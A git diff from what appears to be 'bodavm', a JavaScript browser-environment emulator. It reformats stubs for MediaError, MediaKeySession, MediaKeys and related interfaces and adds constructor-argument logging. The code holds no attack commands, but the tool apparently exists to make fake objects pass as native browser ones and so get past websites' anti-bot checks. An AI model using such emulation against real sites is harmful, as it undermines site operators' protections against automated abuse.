enumerable:true, get:function mediaElement (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype, "MediaElementAudioSourceNode", "mediaElement_get", arguments)}, set:undefined},'prototype'); +// MediaElementAudioSourceNode对象 + +bodavm.memory.globalobj['MediaElementAudioSourceNode'] = function MediaElementAudioSourceNode() { + console.log_copy('MediaElementAudioSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaElementAudioSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaElementAudioSourceNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaElementAudioSourceNode'], "MediaElementAudioSourceNode"); +bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['MediaElementAudioSourceNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('MediaElementAudioSourceNode', "mediaElement", { + configurable: true, + enumerable: true, + get: function mediaElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaElementAudioSourceNode'].prototype, "MediaElementAudioSourceNode", "mediaElement_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaEncryptedEvent.js b/env_xbb_lastest_jsdom/env/MediaEncryptedEvent.js index 91d2fe54..fd14430c 100644 --- a/env_xbb_lastest_jsdom/env/MediaEncryptedEvent.js +++ b/env_xbb_lastest_jsdom/env/MediaEncryptedEvent.js @@ -1,7 +1,35 @@ -// MediaEncryptedEvent对象 -bodavm.memory.globalobj['MediaEncryptedEvent'] = function MediaEncryptedEvent(){if (!(this instanceof MediaEncryptedEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaEncryptedEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaEncryptedEvent'], "MediaEncryptedEvent"); -bodavm.memory.globalobj['MediaEncryptedEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaEncryptedEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initDataType", {configurable:true, enumerable:true, get:function initDataType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initDataType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initData", {configurable:true, enumerable:true, get:function initData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initData_get", arguments)}, set:undefined},'prototype'); +// MediaEncryptedEvent对象 + +bodavm.memory.globalobj['MediaEncryptedEvent'] = function MediaEncryptedEvent() { + console.log_copy('MediaEncryptedEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaEncryptedEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaEncryptedEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaEncryptedEvent'], "MediaEncryptedEvent"); +bodavm.memory.globalobj['MediaEncryptedEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaEncryptedEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initDataType", { + configurable: true, + enumerable: true, + get: function initDataType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initDataType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaEncryptedEvent', "initData", { + configurable: true, + enumerable: true, + get: function initData() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaEncryptedEvent'].prototype, "MediaEncryptedEvent", "initData_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaError.js b/env_xbb_lastest_jsdom/env/MediaError.js index 00808468..af707bc2 100644 --- a/env_xbb_lastest_jsdom/env/MediaError.js +++ b/env_xbb_lastest_jsdom/env/MediaError.js @@ -1,13 +1,81 @@ -// MediaError对象 -bodavm.memory.globalobj['MediaError'] = function MediaError(){if (!(this instanceof MediaError)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaError'], "MediaError"); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('MediaError', "code", {configurable:true, enumerable:true, get:function code (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "code_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "message_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); +// MediaError对象 + +bodavm.memory.globalobj['MediaError'] = function MediaError() { + console.log_copy('MediaError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaError)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaError'], "MediaError"); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('MediaError', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "code_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaError'].prototype, "MediaError", "message_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_ABORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_NETWORK", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_DECODE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaError', "MEDIA_ERR_SRC_NOT_SUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaKeyMessageEvent.js b/env_xbb_lastest_jsdom/env/MediaKeyMessageEvent.js index 84b869cb..d72825a7 100644 --- a/env_xbb_lastest_jsdom/env/MediaKeyMessageEvent.js +++ b/env_xbb_lastest_jsdom/env/MediaKeyMessageEvent.js @@ -1,7 +1,35 @@ -// MediaKeyMessageEvent对象 -bodavm.memory.globalobj['MediaKeyMessageEvent'] = function MediaKeyMessageEvent(){if (!(this instanceof MediaKeyMessageEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaKeyMessageEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyMessageEvent'], "MediaKeyMessageEvent"); -bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaKeyMessageEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "messageType", {configurable:true, enumerable:true, get:function messageType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "messageType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "message", {configurable:true, enumerable:true, get:function message (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "message_get", arguments)}, set:undefined},'prototype'); +// MediaKeyMessageEvent对象 + +bodavm.memory.globalobj['MediaKeyMessageEvent'] = function MediaKeyMessageEvent() { + console.log_copy('MediaKeyMessageEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeyMessageEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaKeyMessageEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyMessageEvent'], "MediaKeyMessageEvent"); +bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaKeyMessageEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "messageType", { + configurable: true, + enumerable: true, + get: function messageType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "messageType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyMessageEvent', "message", { + configurable: true, + enumerable: true, + get: function message() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyMessageEvent'].prototype, "MediaKeyMessageEvent", "message_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaKeySession.js b/env_xbb_lastest_jsdom/env/MediaKeySession.js index 6f0d3759..6c100fbe 100644 --- a/env_xbb_lastest_jsdom/env/MediaKeySession.js +++ b/env_xbb_lastest_jsdom/env/MediaKeySession.js @@ -1,16 +1,111 @@ -// MediaKeySession对象 -bodavm.memory.globalobj['MediaKeySession'] = function MediaKeySession(){if (!(this instanceof MediaKeySession)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySession'], "MediaKeySession"); -bodavm.memory.globalobj['MediaKeySession'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaKeySession'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaKeySession', "sessionId", {configurable:true, enumerable:true, get:function sessionId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "sessionId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "expiration", {configurable:true, enumerable:true, get:function expiration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "expiration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "keyStatuses", {configurable:true, enumerable:true, get:function keyStatuses (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "keyStatuses_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "onkeystatuseschange", {configurable:true, enumerable:true, get:function onkeystatuseschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_get", arguments)}, set:function onkeystatuseschange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "generateRequest", {configurable:true, enumerable:true, writable:true, value:function generateRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "generateRequest", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "load", {configurable:true, enumerable:true, writable:true, value:function load (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "load", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "remove", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySession', "update", {configurable:true, enumerable:true, writable:true, value:function update (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "update", arguments)}},'prototype'); +// MediaKeySession对象 + +bodavm.memory.globalobj['MediaKeySession'] = function MediaKeySession() { + console.log_copy('MediaKeySession 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeySession)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySession'], "MediaKeySession"); +bodavm.memory.globalobj['MediaKeySession'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaKeySession'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaKeySession', "sessionId", { + configurable: true, + enumerable: true, + get: function sessionId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "sessionId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "expiration", { + configurable: true, + enumerable: true, + get: function expiration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "expiration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "keyStatuses", { + configurable: true, + enumerable: true, + get: function keyStatuses() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "keyStatuses_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "onkeystatuseschange", { + configurable: true, + enumerable: true, + get: function onkeystatuseschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_get", arguments); + }, + set: function onkeystatuseschange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onkeystatuseschange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "generateRequest", { + configurable: true, + enumerable: true, + writable: true, + value: function generateRequest() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "generateRequest", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "load", { + configurable: true, + enumerable: true, + writable: true, + value: function load() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "load", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "remove", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySession', "update", { + configurable: true, + enumerable: true, + writable: true, + value: function update() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySession'].prototype, "MediaKeySession", "update", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaKeyStatusMap.js b/env_xbb_lastest_jsdom/env/MediaKeyStatusMap.js index 77542c9d..aab62d0f 100644 --- a/env_xbb_lastest_jsdom/env/MediaKeyStatusMap.js +++ b/env_xbb_lastest_jsdom/env/MediaKeyStatusMap.js @@ -1,10 +1,73 @@ -// MediaKeyStatusMap对象 -bodavm.memory.globalobj['MediaKeyStatusMap'] = function MediaKeyStatusMap(){if (!(this instanceof MediaKeyStatusMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyStatusMap'], "MediaKeyStatusMap"); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "get", {configurable:true, enumerable:true, writable:true, value:function get (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "get", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "has", {configurable:true, enumerable:true, writable:true, value:function has (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "has", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "values", arguments)}},'prototype'); +// MediaKeyStatusMap对象 + +bodavm.memory.globalobj['MediaKeyStatusMap'] = function MediaKeyStatusMap() { + console.log_copy('MediaKeyStatusMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeyStatusMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeyStatusMap'], "MediaKeyStatusMap"); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeyStatusMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeyStatusMap'].prototype, "MediaKeyStatusMap", "values", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaKeySystemAccess.js b/env_xbb_lastest_jsdom/env/MediaKeySystemAccess.js index 87b13ce6..b833c952 100644 --- a/env_xbb_lastest_jsdom/env/MediaKeySystemAccess.js +++ b/env_xbb_lastest_jsdom/env/MediaKeySystemAccess.js @@ -1,6 +1,41 @@ -// MediaKeySystemAccess对象 -bodavm.memory.globalobj['MediaKeySystemAccess'] = function MediaKeySystemAccess(){if (!(this instanceof MediaKeySystemAccess)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySystemAccess'], "MediaKeySystemAccess"); -bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "keySystem", {configurable:true, enumerable:true, get:function keySystem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "keySystem_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "createMediaKeys", {configurable:true, enumerable:true, writable:true, value:function createMediaKeys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "createMediaKeys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "getConfiguration", arguments)}},'prototype'); +// MediaKeySystemAccess对象 + +bodavm.memory.globalobj['MediaKeySystemAccess'] = function MediaKeySystemAccess() { + console.log_copy('MediaKeySystemAccess 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaKeySystemAccess)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeySystemAccess'], "MediaKeySystemAccess"); +bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "keySystem", { + configurable: true, + enumerable: true, + get: function keySystem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "keySystem_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "createMediaKeys", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaKeys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "createMediaKeys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaKeySystemAccess', "getConfiguration", { + configurable: true, + enumerable: true, + writable: true, + value: function getConfiguration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeySystemAccess'].prototype, "MediaKeySystemAccess", "getConfiguration", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaKeys.js b/env_xbb_lastest_jsdom/env/MediaKeys.js index b4751b80..8fc3a2ee 100644 --- a/env_xbb_lastest_jsdom/env/MediaKeys.js +++ b/env_xbb_lastest_jsdom/env/MediaKeys.js @@ -1,6 +1,41 @@ -// MediaKeys对象 -bodavm.memory.globalobj['MediaKeys'] = function MediaKeys(){if (!(this instanceof MediaKeys)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaKeys'], "MediaKeys"); -bodavm.toolsFunc.defineProperty('MediaKeys', "createSession", {configurable:true, enumerable:true, writable:true, value:function createSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "createSession", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaKeys', "setServerCertificate", {configurable:true, enumerable:true, writable:true, value:function setServerCertificate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaKeys'].prototype, "MediaKeys", "setServerCertificate", arguments)}},'prototype'); 